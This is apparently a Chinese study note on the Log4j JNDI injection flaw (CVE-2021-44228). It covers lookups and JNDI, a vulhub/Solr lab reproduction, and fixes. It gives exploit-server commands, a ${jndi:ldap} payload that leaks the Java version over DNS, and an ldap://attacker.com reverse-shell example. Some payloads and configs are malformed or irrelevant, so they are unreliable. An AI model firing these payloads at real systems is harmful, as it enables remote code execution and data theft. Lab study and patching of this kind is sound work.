Java Log4j
漏洞原理
Apache Log4j-2存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用可以造成任意代码执行。
基础概念
-
log4j是什么?
Apache的开源项目log4j是一个功能强大的日志组件(框架),提供方便的日志记录。
-
lookup
log4j中的Lookup机制允许使用JNDI来动态地管理日志记录器的配置信息 ,lookup的本意是方便开发人员进行调试的时候查看环境变量等信息,但是同时也可以被恶意利用,它不仅可以用来回显环境变量,还可以进行jndi注入,我暂时简单理解为log4j利用的本质就是一种jndi注入。
https://logging.apache.org/log4j/2.x/manual/lookups.html
-
Maven
Maven是一个Java项目管理工具,它可以帮助开发人员自动化构建、测试、部署和管理Java项目。
Maven的主要功能包括:
- 项目管理:Maven可以自动创建项目结构和文件,包括源代码目录、资源目录和测试目录等。
- 依赖管理:Maven可以自动下载和管理项目所需的依赖库,并且可以通过中央仓库和私有仓库来管理依赖库。
- 构建管理:Maven可以自动化执行项目的编译、测试、打包和部署等构建任务,可以通过插件来扩展构建任务。
- 文档生成:Maven可以根据项目的源代码和注释生成项目文档,并且可以通过插件来扩展文档生成功能。
-
JNDI
翻译过来就是 java命名和目录接口 ,是一组在java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象,在Java平台中,有多个JNDI的实现类可供选择,其中一些主要的实现类包括:
- LDAP provider:是基于X.500标准的轻量级目录访问协议,用于访问LDAP服务器,通过JNDI API可以实现连接、搜索、读取、修改等操作。Java平台中提供了一个LDAP provider,支持访问大多数LDAP服务器,如Microsoft Active Directory、OpenLDAP等。
- RMI provider:用于访问远程对象,通过JNDI API可以实现在不同Java虚拟机之间的对象传输。Java平台中提供了一个RMI provider,支持远程对象的查找和绑定等操作。可以实现java远程方法调用
- DNS provider:用于访问DNS服务,通过JNDI API可以实现域名解析、查找DNS条目等操作。Java平台中提供了一个DNS provider,支持访问常见的DNS服务器。
-
JNDI注入
当你开发 Java 应用程序时,你可能需要访问外部资源,JNDI提供了在 Java 应用程序中访问外部资源的方法,让你可以像访问文件系统一样访问外部资源。
JNDI 注入是一种将外部资源注入到 Java 应用程序中的方式。
攻击者利用JNDI注入漏洞的一般过程如下:
- 攻击者发送恶意数据,例如通过Web表单或URL参数等输入。
- 恶意数据包含特殊的JNDI注入payload,用于欺骗JNDI上下文对象,使其执行非预期的操作。
- JNDI上下文对象执行恶意操作,例如读取文件、执行命令等。
例如,可以利用RMI把恶意代码写在远程服务器上,然后进行JNDI注入,让远程服务器的代码执行,类似于php的文件包含
{jndi:rmi//xxx.xxx.xxx}
{jndi:ldap//xxx.xxx.xxx}
-
JNDI注入工具
原理
综上大致得到了对于log4j漏洞的基本认识, Log4j是一个Java日志框架,允许开发人员按照不同的方式记录日志。其中一个重要的特性就是lookup机制,它允许用户在日志输出中使用占位符,并动态地替换这些占位符为实际的值。 Log4j的lookup机制可以通过使用“${}”语法来实现。具体来说,可以在日志输出中使用“${}”,并在运行时通过设置相关的属性来替换这些占位符。例如,可以使用以下语句在日志输出中引用环境变量:
logger.info("The value of the HOME environment variable is ${env:HOME}");
在这个例子中,“${env:HOME}”是一个lookup表达式,它告诉Log4j在运行时查找名为“HOME”的环境变量,并将其替换为实际的值。
更多lookup相关可以查看文档:https://logging.apache.org/log4j/2.x/manual/lookups.html
以下是lookup支持输出的环境变量
除了环境变量之外,Log4j还支持其他类型的lookup。
- 系统属性:通过使用
${sys:propertyName}
语法,可以引用JVM中的系统属性,其中propertyName
是系统属性的名称。 - Java JNDI:使用
${jndi:contextName:propertyName}
语法,可以在JNDI上下文中查找属性值,其中contextName
是JNDI上下文的名称,propertyName
是要查找的属性的名称。 - 本地变量:使用
${local:variableName}
语法,可以引用在当前线程中定义的本地变量,其中variableName
是变量的名称。 - 随机数:使用
${random}
语法,可以生成一个随机数。 - 时间戳:使用
${date}
语法,可以生成当前日期和时间的时间戳,格式可以根据需要进行指定。
也即 Log4j2默认支持解析ldap/rmi协议,并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。
主要问题出现在lookup支持Java JNDI, 是有可能造成JNDI注入的,或者说log4j漏洞的利用方式本质上就是JNDI注入。
攻击者可以通过构造一个恶意的JNDI URL,注入到web站点接收日志消息的地方,发送给Log4j 2.x框架来利用该漏洞。当Log4j 2.x框架在处理该日志消息时,它会尝试查找该JNDI URL中指定的上下文和属性,这可能会导致恶意代码的执行。攻击者可以使用此漏洞来执行任意代码,包括在目标系统上执行命令、窃取敏感数据等。
影响范围
日志处理模块 Apache Log4j 2.x <= 2.14.1
jdk版本 <=“1.8.0_121”
漏洞复现和利用
本地快速复现
https://github.com/Yihsiwei/Log4j-exp
下载Log4j-exp
https://github.com/feihong-cs/JNDIExploit
开启JNDI服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.31.1
这里相当于受害站点
打一个jar包并执行
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar Log4j-rce.jar
通过vulhub靶场复现
攻击机: kali 192.168.111.128
靶机: ubuntu 192.168.111.139
已提前装好ssh、curl、pip等工具
安装docker
curl -s https://get.docker.com/ | sh
docker -v查看是否安装成功
安装docker-compose
apt install docker-compose
或者
pip install docker-compose
docker-compose -v 查看版本
vulhub下载
git clone https://github.com/vulhub/vulhub.git
启动环境
docker-compose build
docker-compose up -d
这里我这个命令一直报错,sudo就可以了
sudo docker-compose up
这里测试tomcat ,开起来了
任意代码执行
进入相关目录
cd /vulhub/log4j/CVE-2021-44228
拉取镜像
docker-compose up -d --build
查看端口信息
docker-compose ps
访问
http://192.168.111.139:8983/solr/#/
在Dnslog拿一个域名用来测试: 2xwogd.dnslog.cn
访问
http://192.168.111.139:8983/solr/admin/cores?action=KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: {jndi:ldap://{sys:java.version}.2xwogd.dnslog.cn }
做到这里了:
https://blog.csdn.net/weixin_46683781/article/details/122226317
反弹shell
Log4j漏洞可以被利用反弹shell是因为它涉及到了一个名为JNDI(Java Naming and Directory Interface)的Java API。在这种漏洞利用中,攻击者可以通过构造特定的JNDI数据源名称,将其作为参数传递给Log4j,然后触发Log4j的JNDI lookup操作,从而将攻击者指定的远程服务器IP地址和端口号作为参数传递给JNDI数据源名称。
这种攻击方式被称为JNDI注入攻击,它利用了JNDI的某些不安全的特性,可以让攻击者在目标系统上执行远程代码,包括反弹shell等操作。
具体地,攻击者可以构造如下的JNDI数据源名称:
javascriptCopy codeldap://attacker.com:1389/Exploit
其中,ldap
表示协议名称,attacker.com
表示攻击者控制的远程服务器IP地址,1389
表示远程服务器监听的端口号,Exploit
为任意名称。
当受害者使用了受漏洞影响的Log4j版本,并且在应用程序中使用了类似以下的Log4j配置:
phpCopy code<appender name="test" class="org.apache.log4j.net.SocketAppender">
<param name="RemoteHost" value="ldap://attacker.com"/>
<param name="Port" value="1389"/>
<param name="ReconnectionDelay" value="10000"/>
</appender>
攻击者可以利用构造的JNDI数据源名称,欺骗Log4j将攻击者指定的远程服务器IP地址和端口号传递给JNDI lookup操作,从而导致攻击者成功地反弹shell或执行其他远程代码。
因此,为了防止Log4j漏洞被利用反弹shell等操作,需要及时升级受影响的Log4j版本,并关闭JNDI lookup功能,或对JNDI数据源名称进行严格限制和验证。
修复
用户:
-
禁用lookup或JNDI服务
-
升级Apache Log4j和jdk版本
Apache Log4j漏洞的修复主要涉及以下两个方面:
- 修复漏洞代码:修复了漏洞代码,以防止攻击者利用漏洞进行攻击。 Log4j漏洞的根本原因在于JNDI Lookup和相关函数中存在的漏洞代码,攻击者可以通过利用此漏洞在受害者的系统中执行任意代码。因此,修复漏洞代码的方案主要集中在禁用JNDI Lookup和相关函数、增强输入验证、使用安全类加载器等方面。
- 加强安全机制:在修复漏洞的同时,Apache Log4j也采取了一些措施来加强安全机制,以防止类似漏洞再次出现。具体来说,Apache Log4j采取了以下措施:
- 添加安全警报:在Log4j配置中,添加了一个新的安全警报机制,以便及时通知管理员有关异常和潜在的安全问题。
- 增加日志信息:在日志记录中增加了更多的详细信息,以帮助管理员更好地跟踪和排查潜在的安全问题。
- 提供安全建议:在官方的安全公告中,提供了一些安全建议和最佳实践,以帮助管理员更好地保护其系统和应用程序的安全。